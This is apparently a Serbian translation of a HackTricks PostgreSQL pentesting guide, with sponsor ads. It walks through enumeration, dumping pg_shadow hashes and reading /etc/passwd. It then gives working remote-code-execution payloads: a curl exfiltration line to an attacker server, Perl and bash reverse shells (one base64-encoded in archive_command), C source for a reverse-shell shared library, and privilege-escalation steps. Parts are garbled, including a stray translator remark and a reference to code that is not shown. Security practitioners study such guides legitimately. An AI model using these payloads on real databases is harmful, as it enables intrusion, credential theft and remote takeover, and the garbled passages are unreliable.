# 5432,5433 - Pentesting Postgresql
\
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
## **Osnovne informacije**
**PostgreSQL** je opisan kao **objektno-relacioni sistem baza podataka** koji je **open source**. Ovaj sistem ne samo da koristi SQL jezik već ga i unapređuje dodatnim funkcijama. Njegove mogućnosti mu omogućavaju da obradi širok spektar tipova podataka i operacija, čineći ga svestranim izborom za programere i organizacije.
**Podrazumevani port:** 5432, a ako je ovaj port već zauzet, čini se da će postgresql koristiti sledeći port (verovatno 5433) koji nije zauzet.
```
PORT STATE SERVICE
5432/tcp open pgsql
```
## Poveži se & Osnovno nabrajanje
```bash
psql -U # Open psql console with user
psql -h -U -d # Remote connection
psql -h -p -U -W # Remote connection
```
```sql
psql -h localhost -d -U #Password will be prompted
\list # List databases
\c # use the database
\d # List tables
\du+ # Get users roles
# Get current user
SELECT user;
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\s
```
{% hint style="warning" %}
Ako prilikom pokretanja **`\list`** komande pronađete bazu podataka pod nazivom **`rdsadmin`**, znate da se nalazite unutar **AWS postgresql baze podataka**.
{% endhint %}
Za više informacija o **zloupotrebi PostgreSQL baze podataka** pogledajte:
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
{% endcontent-ref %}
## Automatsko nabrajanje
```
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
```
### [**Brutefors**](../generic-methodologies-and-resources/brute-force.md#postgresql)
### **Skeniranje portova**
Prema [**ovom istraživanju**](https://www.exploit-db.com/papers/13084), kada pokušaj povezivanja ne uspe, `dblink` baca izuzetak `sqlclient_unable_to_establish_sqlconnection` uključujući objašnjenje greške. Primeri ovih detalja su navedeni ispod.
```sql
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
```
* Host je nedostupan
```DETAIL: nije moguće povezati se na server: Nema rute do hosta Da li je server pokrenut na hostu "1.2.3.4" i prihvata li TCP/IP konekcije na portu 5678?```
* Port je zatvoren
```
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
* Port je otvoren
```
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
```
Nema problema. Eno prevod:
```markdown
## Povezivanje na PostgreSQL bazu podataka
Da biste se povezali na PostgreSQL bazu podataka, možete koristiti alat kao što je `psql` ili bilo koji drugi alat za upravljanje bazama podataka koji podržava PostgreSQL. Evo primera kako se možete povezati na PostgreSQL bazu podataka korišćenjem `psql` alata:
```bash
psql -h -U -d
```
- `-h`: Server na koji se povezujete
- `-U`: Korisničko ime
- `-d`: Ime baze podataka
```
```
DETAIL: FATAL: password authentication failed for user "name"
```
* Port je otvoren ili filtriran
```
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
U PL/pgSQL funkcijama trenutno nije moguće dobiti detalje izuzetaka. Međutim, ako imate direktni pristup PostgreSQL serveru, možete dobiti neophodne informacije. Ako izvlačenje korisničkih imena i lozinki iz sistema tabele nije izvodljivo, možete razmotriti korišćenje metode napada rečnikom o kojoj je reč u prethodnom odeljku, jer bi mogla potencijalno dati pozitivne rezultate.
## Enumeracija privilegija
### Uloge
| Vrste uloga | |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | Uloga ima privilegije superkorisnika |
| rolinherit | Uloga automatski nasleđuje privilegije uloga kojima pripada |
| rolcreaterole | Uloga može kreirati dodatne uloge |
| rolcreatedb | Uloga može kreirati baze podataka |
| rolcanlogin | Uloga može se prijaviti. Drugim rečima, ova uloga može biti dodeljena kao početni identifikator sesije |
| rolreplication | Uloga je uloga za replikaciju. Uloga za replikaciju može pokrenuti replikacione veze i kreirati i obrisati slote za replikaciju. |
| rolconnlimit | Za uloge koje se mogu prijaviti, postavlja maksimalan broj istovremenih veza koje ovaj korisnik može napraviti. -1 znači bez ograničenja. |
| rolpassword | Ne lozinka (uvek se čita kao `********`) |
| rolvaliduntil | Vreme isteka lozinke (koristi se samo za autentifikaciju lozinkom); null ako nema isteka |
| rolbypassrls | Uloga zaobilazi svaku politiku bezbednosti na nivou reda, pogledajte [Odeljak 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) za više informacija. |
| rolconfig | Podrazumevane vrednosti za ulogu za promenljive konfiguracije u toku izvršavanja |
| oid | ID uloge |
#### Interesantne grupe
* Ako ste član **`pg_execute_server_program`** možete **izvršavati** programe
* Ako ste član **`pg_read_server_files`** možete **čitati** fajlove
* Ako ste član **`pg_write_server_files`** možete **pisati** fajlove
{% hint style="info" %}
Imajte na umu da je u Postgresu **korisnik**, **grupa** i **uloga** **isti**. To zavisi samo od toga **kako ga koristite** i da li mu dozvoljavate **prijavu**.
{% endhint %}
```sql
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
```
### Tabele
```sql
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
```
### Funkcije
```sql
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
```
## Radnje sistema datoteka
### Čitanje direktorijuma i datoteka
Od ovog [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) članovi definisane grupe **`DEFAULT_ROLE_READ_SERVER_FILES`** (pozvane **`pg_read_server_files`**) i **super korisnici** mogu koristiti **`COPY`** metod na bilo kojoj putanji (proverite `convert_and_check_filename` u `genfile.c`):
```sql
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
{% hint style="warning" %}
Zapamtite da ako niste super korisnik, ali imate dozvole **CREATEROLE**, možete **postati član te grupe:**
```sql
GRANT pg_read_server_files TO username;
```
[**Više informacija.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
Postoje **druge postgres funkcije** koje se mogu koristiti za **čitanje datoteka ili listanje direktorijuma**. Samo **superkorisnici** i **korisnici sa eksplicitnim dozvolama** ih mogu koristiti:
```sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
```
Možete pronaći **više funkcija** na [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
### Jednostavno pisanje datoteka
Samo **super korisnici** i članovi **`pg_write_server_files`** mogu koristiti kopiranje za pisanje datoteka.
{% code overflow="wrap" %}
```sql
copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec';
```
{% endcode %}
{% hint style="warning" %}
Zapamtite da ako niste super korisnik, ali imate dozvole **`CREATEROLE`**, možete **postati član te grupe:**
```sql
GRANT pg_write_server_files TO username;
```
[**Više informacija.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
Zapamtite da **COPY ne može rukovati znakovima nove linije**, stoga čak i ako koristite base64 payload **morate poslati jednolinijski**.\
Veoma važno ograničenje ove tehnike je da **`copy` ne može se koristiti za pisanje binarnih fajlova jer modifikuje neke binarne vrednosti.**
### **Uploadovanje binarnih fajlova**
Međutim, postoje **druge tehnike za uploadovanje velikih binarnih fajlova:**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %}
[big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
{% endcontent-ref %}
##
**Savet za bug bounty**: **registrujte se** za **Intigriti**, premium **platformu za bug bounty kreiranu od strane hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
### Ažuriranje podataka tabele PostgreSQL putem lokalnog pisanja fajlova
Ako imate neophodne dozvole za čitanje i pisanje fajlova servera PostgreSQL, možete ažurirati bilo koju tabelu na serveru tako što ćete **prepisati povezani fajl čvora** u [direktorijumu podataka PostgreSQL-a](https://www.postgresql.org/docs/8.1/storage.html). Više o ovoj tehnici [**ovde**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
Potrebni koraci:
1. Dobijanje direktorijuma podataka PostgreSQL-a
```sql
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
**Napomena:** Ako niste u mogućnosti da dobijete trenutnu putanju direktorijuma podataka iz podešavanja, možete upitati glavnu verziju PostgreSQL-a putem upita `SELECT version()` i pokušati da grubo otkrijete putanju. Česte putanje direktorijuma podataka na Unix instalacijama PostgreSQL-a su `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Često ime klastera je `main`.
2. Dobijanje relativne putanje do fajl čvora, povezanog sa ciljnom tabelom
```sql
SELECT pg_relation_filepath('{IME_TABELE}')
```
Ovaj upit treba da vrati nešto poput `base/3/1337`. Puna putanja na disku će biti `$PUTANJA_PODATAKA/base/3/1337`, tj. `/var/lib/postgresql/13/main/base/3/1337`.
3. Preuzimanje fajl čvora kroz funkcije `lo_*`
```sql
SELECT lo_import('{PSQL_PUTANJA_PODATAKA}/{PUTANJA_DO_TABELE}',13337)
```
4. Dobijanje tipa podataka, povezanog sa ciljnom tabelom
```sql
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{IME_TABELE}';
```
5. Koristite [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) da [uredite fajl čvor](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); postavite sve `rol*` boolean vrednosti na 1 za pune dozvole.
```bash
python3 postgresql_filenode_editor.py -f {FAJL_CVORA} --datatype-csv {DATATYPE_CSV_IZ_KORAKA_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_PODACI}
```
![Demonstracija PostgreSQL Filenode Editora](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo\_datatype.gif)
6. Ponovo otpremite uređeni fajl čvor putem funkcija `lo_*`, i prepisujte originalni fajl na disku
```sql
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_PUTANJA_PODATAKA}/{PUTANJA_DO_TABELE}')
```
7. _(Opciono)_ Očistite keširanu tabelu iz memorije pokretanjem skupog SQL upita
```sql
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
```
8. Sada biste trebali videti ažurirane vrednosti tabele u PostgreSQL-u.
Takođe možete postati superadmin uređivanjem tabele `pg_authid`. **Pogledajte** [**sledeću sekciju**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
## RCE
### **RCE do programa**
Od verzije 9.3, samo **super korisnici** i članovi grupe **`pg_execute_server_program`** mogu koristiti copy za RCE (primer sa eksfiltracijom:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
Primer za izvršenje:
```bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
{% hint style="warning" %}
Zapamtite da ako niste super korisnik, ali imate dozvole **`CREATEROLE`**, možete **postati član te grupe:**
```sql
GRANT pg_execute_server_program TO username;
```
[**Više informacija.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
Ili koristite modul `multi/postgres/postgres_copy_from_program_cmd_exec` iz **metasploita**.\
Više informacija o ovoj ranjivosti [**ovde**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Dok je prijavljeno kao CVE-2019-9193, Postgres je saopštio da je ovo [funkcionalnost i neće biti popravljeno](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
### RCE sa PostgreSQL jezicima
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %}
[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
{% endcontent-ref %}
### RCE sa PostgreSQL ekstenzijama
Kada ste **naučili** iz prethodnog posta **kako da otpremite binarne datoteke**, možete pokušati da dobijete **RCE otpremajući postgresql ekstenziju i učitavajući je**.
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
{% endcontent-ref %}
### RCE sa konfiguracionom datotekom PostgreSQL-a
{% hint style="info" %}
Sledeći RCE vektori su posebno korisni u ograničenim SQLi kontekstima, jer se svi koraci mogu izvršiti putem ugniježdenih SELECT izjava
{% endhint %}
**Konfiguraciona datoteka** PostgreSQL-a je **upisiva** od strane **postgres korisnika**, koji pokreće bazu podataka, tako da kao **superkorisnik** možete pisati datoteke u fajl sistem, i stoga možete **prepisati ovu datoteku.**
![](<../.gitbook/assets/image (322).png>)
#### **RCE sa ssl\_passphrase\_command**
Više informacija [o ovoj tehnici ovde](https://pulsesecurity.co.nz/articles/postgres-sqli).
Konfiguraciona datoteka ima neke zanimljive atribute koji mogu dovesti do RCE:
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Putanja do privatnog ključa baze podataka
* `ssl_passphrase_command = ''` Ako je privatna datoteka zaštićena lozinkom (šifrovana) postgresql će **izvršiti komandu naznačenu u ovom atributu**.
* `ssl_passphrase_command_supports_reload = off` **Ako** je ovaj atribut **uključen** komanda izvršena ako je ključ zaštićen lozinkom **će se izvršiti** kada se izvrši `pg_reload_conf()`.
Zatim, napadač će morati:
1. **Izvući privatni ključ** sa servera
2. **Šifrovati** preuzeti privatni ključ:
1. `rsa -aes256 -in preuzeti-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **Prepisati**
4. **Izvući** trenutnu postgresql **konfiguraciju**
5. **Prepisati** **konfiguraciju** sa navedenim atributima konfiguracije:
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
2. `ssl_passphrase_command_supports_reload = on`
6. Izvršiti `pg_reload_conf()`
Prilikom testiranja primetio sam da će ovo raditi samo ako **datoteka privatnog ključa ima privilegije 640**, da je **vlasnik root** i da je **grupa ssl-cert ili postgres** (tako da postgres korisnik može da je čita), i da je smeštena u _/var/lib/postgresql/12/main_.
#### **RCE sa archive\_command**
**Više** [**informacija o ovoj konfiguraciji i o WAL ovde**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
Još jedan atribut u konfiguracionoj datoteci koji je iskorišćiv je `archive_command`.
Da bi ovo radilo, postavka `archive_mode` mora biti `'on'` ili `'always'`. Ako je to tačno, tada bismo mogli prebrisati komandu u `archive_command` i naterati je da se izvrši putem WAL (write-ahead logging) operacija.
Opšti koraci su:
1. Proveriti da li je režim arhiviranja omogućen: `SELECT current_setting('archive_mode')`
2. Prebrisati `archive_command` sa payload-om. Na primer, reverzna ljuska: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Ponovo učitati konfiguraciju: `SELECT pg_reload_conf()`
4. Naterati operaciju WAL da se izvrši, što će pozvati arhivsku komandu: `SELECT pg_switch_wal()` ili `SELECT pg_switch_xlog()` za neke verzije Postgresa
#### **RCE sa bibliotekama učitavanja pre učitavanja**
Više informacija [o ovoj tehnici ovde](https://adeadfed.com/posts/postgresql-select-only-rce/).
Ovaj vektor napada koristi sledeće konfiguracione promenljive:
* `session_preload_libraries` -- biblioteke koje će biti učitane od strane PostgreSQL servera pri povezivanju klijenta.
* `dynamic_library_path` -- lista direktorijuma gde će PostgreSQL server tražiti biblioteke.
Možemo postaviti vrednost `dynamic_library_path` na direktorijum koji je upisiv od strane `postgres` korisnika koji pokreće bazu podataka, na primer, `/tmp/` direktorijum, i otpremiti zlonamerni `.so` objekat tamo. Zatim ćemo naterati PostgreSQL server da učita našu novu otpremljenu biblioteku uključivanjem je u promenljivu `session_preload_libraries`.
Koraci napada su:
1. Preuzmite originalni `postgresql.conf`
2. Uključite `/tmp/` direktorijum u vrednost `dynamic_library_path`, na primer `dynamic_library_path = '/tmp:$libdir'`
3. Uključite ime zlonamerne biblioteke u vrednost `session_preload_libraries`, na primer `session_preload_libraries = 'payload.so'`
4. Proverite glavnu verziju PostgreSQL-a putem upita `SELECT version()`
5. Kompajlirajte zlonamerni kod biblioteke sa odgovarajućim PostgreSQL dev paketom Primer koda:
```c
#include
#include
#include
#include
#include
#include
#include
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
kod preuzet sa https://www.revshells.com/
*/
int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
```
Kompajliranje koda:
```bash
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
```
6. Otpremite zlonamerni `postgresql.conf`, kreiran u koracima 2-3, i prepišite originalni
7. Otpremite `payload.so` iz koraka 5 u `/tmp` direktorijum
8. Ponovo učitajte konfiguraciju servera ponovnim pokretanjem servera ili pozivanjem upita `SELECT pg_reload_conf()`
9. Prilikom sledeće DB konekcije, dobićete vezu za reverznu ljusku.
## **Postgres Privesc**
### CREATEROLE Privesc
#### **Grant**
Prema [**dokumentaciji**](https://www.postgresql.org/docs/13/sql-grant.html): _Uloge koje imaju privilegiju **`CREATEROLE`** mogu **dodeljivati ili oduzimati članstvo u bilo kojoj ulozi** koja **nije** **superkorisnik**._
Dakle, ako imate dozvolu **`CREATEROLE`** možete sebi dodeliti pristup drugim **ulogama** (koje nisu superkorisnici) što vam omogućava čitanje i pisanje fajlova i izvršavanje komandi:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
```
#### Izmena lozinke
Korisnici sa ovom ulogom takođe mogu **promeniti** **lozinke** drugih **ne-superkorisnika**:
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### Privesc do SUPERUSER
Prilično je uobičajeno da **lokalni korisnici mogu da se prijave u PostgreSQL bez unošenja bilo kakve lozinke**. Stoga, kada ste prikupili **dozvole za izvršavanje koda**, možete zloupotrebiti ove dozvole da biste dobili ulogu **`SUPERUSER`**:
```sql
COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"';
```
{% hint style="info" %}
Ovo je obično moguće zbog sledećih linija u fajlu **`pg_hba.conf`**:
```bash
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
```
{% endhint %}
### **ALTER TABLE privesc**
U [**ovom writeup-u**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) je objašnjeno kako je bilo moguće **privesc** u Postgres GCP zloupotrebom ALTER TABLE privilegije koja je dodeljena korisniku.
Kada pokušate **dodeliti vlasništvo nad tabelom drugom korisniku**, trebalo bi da dobijete **grešku** koja to sprečava, ali očigledno je GCP dao tu **opciju korisniku postgres koji nije superkorisnik** u GCP-u:
Povezujući ovu ideju sa činjenicom da kada se **IZVRŠE INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komande na **tabeli sa funkcijom indeksa**, **funkcija** se **poziva** kao deo komande sa **dozvolama vlasnika tabele**. Moguće je kreirati indeks sa funkcijom, dati vlasničke dozvole **superkorisniku** nad tom tabelom, a zatim izvršiti ANALYZE nad tabelom sa zlonamernom funkcijom koja će moći da izvršava komande jer koristi privilegije vlasnika.
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
```
#### Eksploatacija
1. Počnite kreiranjem nove tabele.
2. Ubacite neki nebitan sadržaj u tabelu kako biste obezbedili podatke za funkciju indeksiranja.
3. Razvijte zlonamernu funkciju indeksiranja koja sadrži izvršnu naredbu, omogućavajući izvršavanje neovlašćenih komandi.
4. Izmijenite vlasnika tabele u "cloudsqladmin," koji je uloga superkorisnika GCP-a ekskluzivno korišćena od strane Cloud SQL-a za upravljanje i održavanje baze podataka.
5. Izvršite ANALIZU operaciju na tabeli. Ova radnja nateruje PostgreSQL engine da pređe u korisnički kontekst vlasnika tabele, "cloudsqladmin." Kao rezultat, zlonamerna funkcija indeksiranja se poziva sa dozvolama "cloudsqladmin-a," omogućavajući izvršavanje prethodno neovlašćene shell komande.
U PostgreSQL-u, ovaj tok izgleda nekako ovako:
```sql
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
```
Zatim će tabela `shell_commands_results` sadržati izlaz izvršenog koda:
```
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
### Lokalni Login
Neke pogrešno konfigurisane postgresql instance mogu dozvoliti prijavljivanje bilo kog lokalnog korisnika, moguće je lokalno sa 127.0.0.1 koristeći **`dblink` funkciju**:
```sql
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
{% hint style="warning" %}
Imajte na umu da bi prethodni upit radio **funkcija `dblink` mora postojati**. Ako ne postoji, možete pokušati da je kreirate sa
```sql
CREATE EXTENSION dblink;
```
{% endhint %}
Ako imate lozinku korisnika sa više privilegija, ali korisniku nije dozvoljeno da se prijavi sa spoljne IP adrese, možete koristiti sledeću funkciju da izvršite upite kao taj korisnik:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
Moguće je proveriti da li ova funkcija postoji sa:
```sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **Prilagođena definisana funkcija sa** SECURITY DEFINER
[U **ovom objašnjenju**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesteri su uspeli da privesc unutar postgres instanci koje je obezbedio IBM, jer su **pronašli ovu funkciju sa SECURITY DEFINER zastavicom**:
Kako je [**objašnjeno u dokumentaciji**](https://www.postgresql.org/docs/current/sql-createfunction.html) funkcija sa **SECURITY DEFINER** se izvršava sa privilegijama **korisnika koji je vlasnik**. Stoga, ako je funkcija **ranjiva na SQL Injection** ili vrši **privilegovane akcije sa parametrima koje kontroliše napadač**, može biti zloupotrebljena za **escalaciju privilegija unutar postgres-a**.
Na liniji 4 prethodnog koda možete videti da funkcija ima zastavicu **SECURITY DEFINER**.
```sql
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
```
I onda **izvršite komande**:
### Provala BruteForce-om pomoću PL/pgSQL
**PL/pgSQL** je **potpuno opremljeni programski jezik** koji nudi veću proceduralnu kontrolu u poređenju sa SQL-om. Omogućava korišćenje **petlji** i drugih **kontrolnih struktura** radi poboljšanja logike programa. Pored toga, **SQL naredbe** i **okidači** imaju mogućnost da pozovu funkcije koje su kreirane korišćenjem **PL/pgSQL jezika**. Ova integracija omogućava sveobuhvatan i fleksibilan pristup programiranju baze podataka i automatizaciji.\
**Možete zloupotrebiti ovaj jezik kako biste zatražili od PostgreSQL-a da brute-force-uje korisničke podatke.**
